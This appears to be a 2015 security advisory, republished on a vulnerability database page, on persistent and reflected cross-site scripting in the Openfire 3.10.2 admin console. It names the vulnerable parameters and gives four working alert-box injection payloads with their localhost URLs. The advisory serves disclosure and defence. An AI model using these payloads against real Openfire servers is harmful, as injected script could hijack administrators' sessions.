Lucene search
K

Openfire 3.10.2 Cross Site Scripting

🗓️ 15 Sep 2015 00:00:00Reported by hyp3rlinxType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 29 Views

Openfire 3.10.2 Cross Site Scripting vulnerability in Group Chat and URL Bookmarks, and reflected XSS in search parameter potentially allowing local and remote exploitation

Related
Code
`[+] Credits: hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source: http://hyp3rlinx.altervista.org/advisories/AS-OPENFIRE-XSS.txt  
  
  
  
Vendor:  
================================  
www.igniterealtime.org/projects/openfire  
www.igniterealtime.org/downloads/index.jsp  
  
  
  
Product:  
================================  
Openfire 3.10.2  
  
Openfire is a real time collaboration (RTC) server licensed under the Open  
Source Apache License.  
It uses the only widely adopted open protocol for instant messaging, XMPP  
(also called Jabber).  
  
  
  
Vulnerability Type:  
===================  
Persistent & Reflected XSS  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
=====================  
  
1) Persistent XSS exists when creating an Group Chat Bookmark, XSS will  
execute each time victim accesses  
the 'Group Chat Bookmarks' web page vuln parameter 'groupchatName' XSS will  
be stored in 'ofbookmark'  
table in 'bookmarkName' column of the MySQL DB and will be under  
boomarkType as 'group_chat'.  
  
  
2) Persistent XSS exists when creating URL Bookmarks, vuln parameter  
'urlName' XSS will be stored in 'ofbookmark' table in  
'bookmarkName' column of the MySQL DB will be under column boomarkType as  
'url'.  
  
  
3) Reflected XSS entry point exists in search parameter, script tags fail  
but we can defeat using onMouseMove() JS function.  
  
  
Exploit code(s):  
===============  
  
1) persistent XSS:  
http://localhost:9090/plugins/clientcontrol/create-bookmark.jsp?type=group_chat  
  
Inject <script>alert(666)</script> payload into the 'Group Chat Name' field  
then click 'Create'.  
  
  
2) persistent XSS:  
http://localhost:9090/plugins/clientcontrol/create-bookmark.jsp?type=url  
  
Inject <script>alert('HELL')</script> payload into the 'URL Name' field  
then click 'Create'.  
  
  
3) Reflected XSS:  
http://localhost:9090/server-session-details.jsp?hostname=  
"/><script>alert(666)</script>  
  
  
4) Reflected XSS:  
http://localhost:9090/group-summary.jsp?search="  
onMouseMove="alert('hyp3rlinx')  
  
  
  
Disclosure Timeline:  
=========================================================  
  
Vendor Notification: NA  
Sept 14, 2015 : Public Disclosure  
  
  
  
  
Exploitation Technique:  
=======================  
Local & Remote  
  
  
  
Severity Level:  
=========================================================  
High  
  
  
  
Description:  
==========================================================  
  
  
Request Method(s): [+] POST & GET  
  
  
Vulnerable Product: [+] Openfire 3.10.2  
  
  
Vulnerable Parameter(s): [+] groupchatName, urlName, hostname,  
search  
  
  
Affected Area(s): [+] Admin  
  
  
===========================================================  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit is given to  
the author.  
The author is not responsible for any misuse of the information contained  
herein and prohibits any malicious use of all security related information  
or exploits by the author or elsewhere.  
  
by hyp3rlinx  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation